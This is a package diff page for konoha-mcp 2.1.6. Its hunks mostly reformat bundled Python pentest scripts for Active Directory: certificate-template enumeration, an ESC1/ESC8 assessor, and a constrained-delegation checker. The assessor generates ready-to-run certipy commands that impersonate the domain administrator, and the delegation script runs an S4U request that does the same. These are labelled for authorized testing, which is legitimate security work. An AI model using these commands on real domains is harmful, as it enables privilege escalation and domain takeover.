konoha-mcp 2.1.5 → 2.1.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (28) hide show
  1. package/.agents/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/abusing-shadow-credentials-for-privesc/SKILL.md +97 -135
  2. package/.agents/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/abusing-shadow-credentials-for-privesc/references/api-reference.md +30 -47
  3. package/.agents/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/abusing-shadow-credentials-for-privesc/references/standards.md +7 -6
  4. package/.agents/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/abusing-shadow-credentials-for-privesc/scripts/agent.py +65 -57
  5. package/.agents/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/exploiting-active-directory-certificate-services-esc1/scripts/agent.py +36 -17
  6. package/.agents/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/exploiting-active-directory-certificate-services-esc1/scripts/process.py +25 -13
  7. package/.agents/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/exploiting-adcs-with-certipy/scripts/agent.py +35 -19
  8. package/.agents/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/exploiting-constrained-delegation-abuse/scripts/agent.py +30 -8
  9. package/.agents/skills.fingerprint +1 -1
  10. package/README.md +3 -3
  11. package/apps/web/build/adapter-node.js +1 -1
  12. package/apps/web/build/client/_app/version.json +1 -1
  13. package/apps/web/build/client/_app/version.json.br +0 -0
  14. package/apps/web/build/client/_app/version.json.gz +0 -0
  15. package/apps/web/build/server/chunks/instance.js +3 -3
  16. package/apps/web/build/server/chunks/internal.js +1 -1
  17. package/apps/web/package.json +1 -1
  18. package/bin/cli.js +3 -3
  19. package/docs/SecurityCompliance/security_compliance_report_google_policy_2.1.6_2026-10-07.md +78 -0
  20. package/package.json +1 -1
  21. package/src/templates/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/abusing-shadow-credentials-for-privesc/SKILL.md +97 -135
  22. package/src/templates/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/abusing-shadow-credentials-for-privesc/references/api-reference.md +30 -47
  23. package/src/templates/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/abusing-shadow-credentials-for-privesc/references/standards.md +7 -6
  24. package/src/templates/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/abusing-shadow-credentials-for-privesc/scripts/agent.py +65 -57
  25. package/src/templates/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/exploiting-active-directory-certificate-services-esc1/scripts/agent.py +36 -17
  26. package/src/templates/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/exploiting-active-directory-certificate-services-esc1/scripts/process.py +25 -13
  27. package/src/templates/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/exploiting-adcs-with-certipy/scripts/agent.py +35 -19
  28. package/src/templates/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/exploiting-constrained-delegation-abuse/scripts/agent.py +30 -8
@@ -12,8 +12,7 @@ def enumerate_certificate_templates():
12
12
  templates = []
13
13
  try:
14
14
  result = subprocess.check_output(
15
- ["certutil", "-v", "-template"],
16
- text=True, errors="replace", timeout=30
15
+ ["certutil", "-v", "-template"], text=True, errors="replace", timeout=30
17
16
  )
18
17
  current = {}
19
18
  for line in result.splitlines():
@@ -54,18 +53,32 @@ def run_certipy_find(domain, username, password, dc_ip):
54
53
  findings = []
55
54
  try:
56
55
  result = subprocess.check_output(
57
- ["certipy", "find", "-u", f"{username}@{domain}",
58
- "-p", password, "-dc-ip", dc_ip, "-vulnerable", "-json"],
59
- text=True, errors="replace", timeout=60
56
+ [
57
+ "certipy",
58
+ "find",
59
+ "-u",
60
+ f"{username}@{domain}",
61
+ "-p",
62
+ password,
63
+ "-dc-ip",
64
+ dc_ip,
65
+ "-vulnerable",
66
+ "-json",
67
+ ],
68
+ text=True,
69
+ errors="replace",
70
+ timeout=60,
60
71
  )
61
72
  data = json.loads(result)
62
73
  for tmpl in data.get("Certificate Templates", []):
63
74
  if "ESC1" in str(tmpl.get("Vulnerabilities", [])):
64
- findings.append({
65
- "template": tmpl.get("Template Name", ""),
66
- "vulnerability": "ESC1",
67
- "enrollable_by": tmpl.get("Enrollment Rights", []),
68
- })
75
+ findings.append(
76
+ {
77
+ "template": tmpl.get("Template Name", ""),
78
+ "vulnerability": "ESC1",
79
+ "enrollable_by": tmpl.get("Enrollment Rights", []),
80
+ }
81
+ )
69
82
  except (subprocess.SubprocessError, json.JSONDecodeError, FileNotFoundError):
70
83
  pass
71
84
  return findings
@@ -75,7 +88,9 @@ def main():
75
88
  parser = argparse.ArgumentParser(
76
89
  description="Detect AD CS ESC1 vulnerability (authorized pentesting only)"
77
90
  )
78
- parser.add_argument("--certutil", action="store_true", help="Use certutil enumeration")
91
+ parser.add_argument(
92
+ "--certutil", action="store_true", help="Use certutil enumeration"
93
+ )
79
94
  parser.add_argument("--certipy", action="store_true", help="Use Certipy tool")
80
95
  parser.add_argument("--domain", help="AD domain name")
81
96
  parser.add_argument("--username", help="Domain username")
@@ -93,12 +108,16 @@ def main():
93
108
  for tmpl in templates:
94
109
  vulns = check_esc1_vulnerable(tmpl)
95
110
  if vulns:
96
- report["findings"].append({
97
- "template": tmpl.get("Template", "Unknown"),
98
- "esc1_indicators": vulns,
99
- "indicator_count": len(vulns),
100
- })
101
- print(f"[*] Templates analyzed: {len(templates)}, ESC1 vulnerable: {len(report['findings'])}")
111
+ report["findings"].append(
112
+ {
113
+ "template": tmpl.get("Template", "Unknown"),
114
+ "esc1_indicators": vulns,
115
+ "indicator_count": len(vulns),
116
+ }
117
+ )
118
+ print(
119
+ f"[*] Templates analyzed: {len(templates)}, ESC1 vulnerable: {len(report['findings'])}"
120
+ )
102
121
 
103
122
  if args.certipy and args.domain:
104
123
  certipy_results = run_certipy_find(
@@ -8,16 +8,14 @@ and generates an assessment report. For authorized red team engagements only.
8
8
 
9
9
  import json
10
10
  import sys
11
- import os
12
11
  from datetime import datetime
13
- from pathlib import Path
14
12
 
15
13
 
16
14
  ESC1_DANGEROUS_EKUS = [
17
- "1.3.6.1.5.5.7.3.2", # Client Authentication
18
- "1.3.6.1.5.2.3.4", # PKINIT Client Authentication
15
+ "1.3.6.1.5.5.7.3.2", # Client Authentication
16
+ "1.3.6.1.5.2.3.4", # PKINIT Client Authentication
19
17
  "1.3.6.1.4.1.311.20.2.2", # Smart Card Logon
20
- "2.5.29.37.0", # Any Purpose
18
+ "2.5.29.37.0", # Any Purpose
21
19
  ]
22
20
 
23
21
  EKU_NAMES = {
@@ -46,7 +44,7 @@ def check_esc1_conditions(template: dict) -> dict:
46
44
  "vulnerable": False,
47
45
  "conditions_met": [],
48
46
  "conditions_not_met": [],
49
- "risk_level": "low"
47
+ "risk_level": "low",
50
48
  }
51
49
 
52
50
  # Condition 1: ENROLLEE_SUPPLIES_SUBJECT flag
@@ -70,17 +68,24 @@ def check_esc1_conditions(template: dict) -> dict:
70
68
  no_ekus = len(ekus) == 0 # No EKU = any purpose
71
69
 
72
70
  if has_auth_eku or no_ekus:
73
- eku_desc = "No EKU (any purpose)" if no_ekus else "Client Authentication EKU present"
71
+ eku_desc = (
72
+ "No EKU (any purpose)" if no_ekus else "Client Authentication EKU present"
73
+ )
74
74
  result["conditions_met"].append(eku_desc)
75
75
  else:
76
76
  result["conditions_not_met"].append("No authentication-capable EKU")
77
77
 
78
78
  # Condition 3: Enrollment rights for low-privileged users
79
- enrollment_rights = template.get("Enrollment Rights", template.get("permissions", {}))
79
+ enrollment_rights = template.get(
80
+ "Enrollment Rights", template.get("permissions", {})
81
+ )
80
82
  low_priv_enroll = False
81
83
  low_priv_groups = [
82
- "Domain Users", "Authenticated Users", "Everyone",
83
- "Domain Computers", "Users"
84
+ "Domain Users",
85
+ "Authenticated Users",
86
+ "Everyone",
87
+ "Domain Computers",
88
+ "Users",
84
89
  ]
85
90
 
86
91
  if isinstance(enrollment_rights, dict):
@@ -114,7 +119,12 @@ def check_esc1_conditions(template: dict) -> dict:
114
119
  result["conditions_not_met"].append("Manager approval required")
115
120
 
116
121
  # Determine vulnerability
117
- if enrollee_supplies and (has_auth_eku or no_ekus) and low_priv_enroll and not requires_approval:
122
+ if (
123
+ enrollee_supplies
124
+ and (has_auth_eku or no_ekus)
125
+ and low_priv_enroll
126
+ and not requires_approval
127
+ ):
118
128
  result["vulnerable"] = True
119
129
  result["risk_level"] = "critical"
120
130
  elif enrollee_supplies and (has_auth_eku or no_ekus):
@@ -130,7 +140,7 @@ def generate_esc1_report(certipy_data: dict) -> str:
130
140
  "AD CS ESC1 Vulnerability Assessment Report",
131
141
  f"Generated: {datetime.now().isoformat()}",
132
142
  "=" * 70,
133
- ""
143
+ "",
134
144
  ]
135
145
 
136
146
  templates = certipy_data.get("Certificate Templates", {})
@@ -181,7 +191,9 @@ def generate_esc1_report(certipy_data: dict) -> str:
181
191
 
182
192
  report_lines.append("=" * 70)
183
193
  report_lines.append("Remediation Recommendations:")
184
- report_lines.append(" 1. Disable ENROLLEE_SUPPLIES_SUBJECT on all vulnerable templates")
194
+ report_lines.append(
195
+ " 1. Disable ENROLLEE_SUPPLIES_SUBJECT on all vulnerable templates"
196
+ )
185
197
  report_lines.append(" 2. Enable manager approval for certificate issuance")
186
198
  report_lines.append(" 3. Restrict enrollment rights to specific security groups")
187
199
  report_lines.append(" 4. Enable CA audit logging (Event IDs 4886, 4887)")
@@ -17,6 +17,7 @@ Examples:
17
17
  python certipy_esc_assessor.py -u attacker@corp.local \
18
18
  --hashes :fc525c... --dc-ip 10.0.0.100 --outdir ./loot
19
19
  """
20
+
20
21
  import argparse
21
22
  import glob
22
23
  import json
@@ -50,7 +51,9 @@ def build_find_cmd(args, outdir):
50
51
 
51
52
  def run_certipy(cmd):
52
53
  if shutil.which("certipy") is None:
53
- sys.exit("[!] 'certipy' not found on PATH. Install with: pipx install certipy-ad")
54
+ sys.exit(
55
+ "[!] 'certipy' not found on PATH. Install with: pipx install certipy-ad"
56
+ )
54
57
  print("[*] Running:", " ".join(cmd))
55
58
  try:
56
59
  proc = subprocess.run(cmd, capture_output=True, text=True, timeout=600)
@@ -64,8 +67,10 @@ def run_certipy(cmd):
64
67
 
65
68
  def load_report(outdir):
66
69
  """Find and load the JSON report certipy produced."""
67
- candidates = sorted(glob.glob(os.path.join(outdir, "*Certipy.json")) +
68
- glob.glob(os.path.join(outdir, "*.json")))
70
+ candidates = sorted(
71
+ glob.glob(os.path.join(outdir, "*Certipy.json"))
72
+ + glob.glob(os.path.join(outdir, "*.json"))
73
+ )
69
74
  if not candidates:
70
75
  sys.exit("[!] No JSON report found from certipy output.")
71
76
  path = candidates[-1]
@@ -86,33 +91,44 @@ def extract_findings(report):
86
91
  vulns = tpl.get("[!] Vulnerabilities") or tpl.get("Vulnerabilities") or {}
87
92
  if not vulns:
88
93
  continue
89
- findings.append({
90
- "template": tpl.get("Template Name") or tpl.get("Name", "?"),
91
- "ca": (tpl.get("Certificate Authorities") or ["?"])[0]
92
- if isinstance(tpl.get("Certificate Authorities"), list)
93
- else tpl.get("Certificate Authorities", "?"),
94
- "vulns": vulns,
95
- })
94
+ findings.append(
95
+ {
96
+ "template": tpl.get("Template Name") or tpl.get("Name", "?"),
97
+ "ca": (tpl.get("Certificate Authorities") or ["?"])[0]
98
+ if isinstance(tpl.get("Certificate Authorities"), list)
99
+ else tpl.get("Certificate Authorities", "?"),
100
+ "vulns": vulns,
101
+ }
102
+ )
96
103
  return findings
97
104
 
98
105
 
99
106
  def suggest_command(args, finding):
100
107
  """Produce a ready-to-run req command for ESC1-class findings."""
101
108
  if any("ESC1" in k or "ESC4" in k for k in finding["vulns"]):
102
- auth = f"-p '{args.password}'" if args.password else (
103
- f"-hashes {args.hashes}" if args.hashes else "-k -no-pass")
104
- return (f"certipy req -u '{args.user}' {auth} -dc-ip {args.dc_ip} "
105
- f"-ca '{finding['ca']}' -template '{finding['template']}' "
106
- f"-upn 'administrator@{args.user.split('@')[-1]}' "
107
- f"-sid '<TARGET-SID>'")
109
+ auth = (
110
+ f"-p '{args.password}'"
111
+ if args.password
112
+ else (f"-hashes {args.hashes}" if args.hashes else "-k -no-pass")
113
+ )
114
+ return (
115
+ f"certipy req -u '{args.user}' {auth} -dc-ip {args.dc_ip} "
116
+ f"-ca '{finding['ca']}' -template '{finding['template']}' "
117
+ f"-upn 'administrator@{args.user.split('@')[-1]}' "
118
+ f"-sid '<TARGET-SID>'"
119
+ )
108
120
  if any("ESC8" in k for k in finding["vulns"]):
109
- return ("certipy relay -target 'http://<CA-FQDN>' -template 'DomainController' "
110
- "# then coerce a DC to authenticate to your relay host")
121
+ return (
122
+ "certipy relay -target 'http://<CA-FQDN>' -template 'DomainController' "
123
+ "# then coerce a DC to authenticate to your relay host"
124
+ )
111
125
  return "# Manual exploitation required — review ESC type above."
112
126
 
113
127
 
114
128
  def main():
115
- ap = argparse.ArgumentParser(description="Automate AD CS ESC enumeration with Certipy.")
129
+ ap = argparse.ArgumentParser(
130
+ description="Automate AD CS ESC enumeration with Certipy."
131
+ )
116
132
  ap.add_argument("-u", "--user", required=True, help="UPN, e.g. attacker@corp.local")
117
133
  ap.add_argument("-p", "--password", help="Cleartext password")
118
134
  ap.add_argument("--hashes", help="LM:NT or :NT hash for pass-the-hash")
@@ -26,7 +26,9 @@ def find_constrained_delegation():
26
26
  try:
27
27
  result = subprocess.check_output(
28
28
  ["powershell", "-NoProfile", "-Command", ps_cmd],
29
- text=True, errors="replace", timeout=30
29
+ text=True,
30
+ errors="replace",
31
+ timeout=30,
30
32
  )
31
33
  data = json.loads(result) if result.strip() else []
32
34
  return data if isinstance(data, list) else [data]
@@ -50,7 +52,9 @@ def find_rbcd_targets():
50
52
  try:
51
53
  result = subprocess.check_output(
52
54
  ["powershell", "-NoProfile", "-Command", ps_cmd],
53
- text=True, errors="replace", timeout=30
55
+ text=True,
56
+ errors="replace",
57
+ timeout=30,
54
58
  )
55
59
  data = json.loads(result) if result.strip() else []
56
60
  return data if isinstance(data, list) else [data]
@@ -65,8 +69,16 @@ def check_s4u_abuse(account_name, domain, dc_ip, password=None, hash_val=None):
65
69
  cmd.extend(["-password", password])
66
70
  elif hash_val:
67
71
  cmd.extend(["-hashes", f":{hash_val}"])
68
- cmd.extend(["-spn", "cifs/target.domain.local",
69
- "-impersonate", "administrator", "-dc-ip", dc_ip])
72
+ cmd.extend(
73
+ [
74
+ "-spn",
75
+ "cifs/target.domain.local",
76
+ "-impersonate",
77
+ "administrator",
78
+ "-dc-ip",
79
+ dc_ip,
80
+ ]
81
+ )
70
82
  try:
71
83
  result = subprocess.check_output(cmd, text=True, errors="replace", timeout=30)
72
84
  return {"status": "success", "output": result[:500]}
@@ -78,7 +90,9 @@ def main():
78
90
  parser = argparse.ArgumentParser(
79
91
  description="Detect and test constrained delegation abuse (authorized testing only)"
80
92
  )
81
- parser.add_argument("--enumerate", action="store_true", help="Find delegation configs")
93
+ parser.add_argument(
94
+ "--enumerate", action="store_true", help="Find delegation configs"
95
+ )
82
96
  parser.add_argument("--rbcd", action="store_true", help="Find RBCD targets")
83
97
  parser.add_argument("--output", "-o", help="Output JSON report")
84
98
  args = parser.parse_args()
@@ -91,15 +105,23 @@ def main():
91
105
  report["findings"]["constrained_delegation"] = cd
92
106
  print(f"[*] Accounts with constrained delegation: {len(cd)}")
93
107
  for acct in cd:
94
- s2u = "S4U2Self+Proxy" if acct.get("TrustedToAuthForDelegation") else "S4U2Proxy only"
95
- print(f" {acct.get('SamAccountName', '?')} -> {acct.get('DelegateTo', [])} ({s2u})")
108
+ s2u = (
109
+ "S4U2Self+Proxy"
110
+ if acct.get("TrustedToAuthForDelegation")
111
+ else "S4U2Proxy only"
112
+ )
113
+ print(
114
+ f" {acct.get('SamAccountName', '?')} -> {acct.get('DelegateTo', [])} ({s2u})"
115
+ )
96
116
 
97
117
  if args.rbcd:
98
118
  rbcd = find_rbcd_targets()
99
119
  report["findings"]["rbcd_targets"] = rbcd
100
120
  print(f"[*] RBCD configured computers: {len(rbcd)}")
101
121
 
102
- total = sum(len(v) if isinstance(v, list) else 0 for v in report["findings"].values())
122
+ total = sum(
123
+ len(v) if isinstance(v, list) else 0 for v in report["findings"].values()
124
+ )
103
125
  report["risk_level"] = "HIGH" if total > 0 else "LOW"
104
126
 
105
127
  if args.output: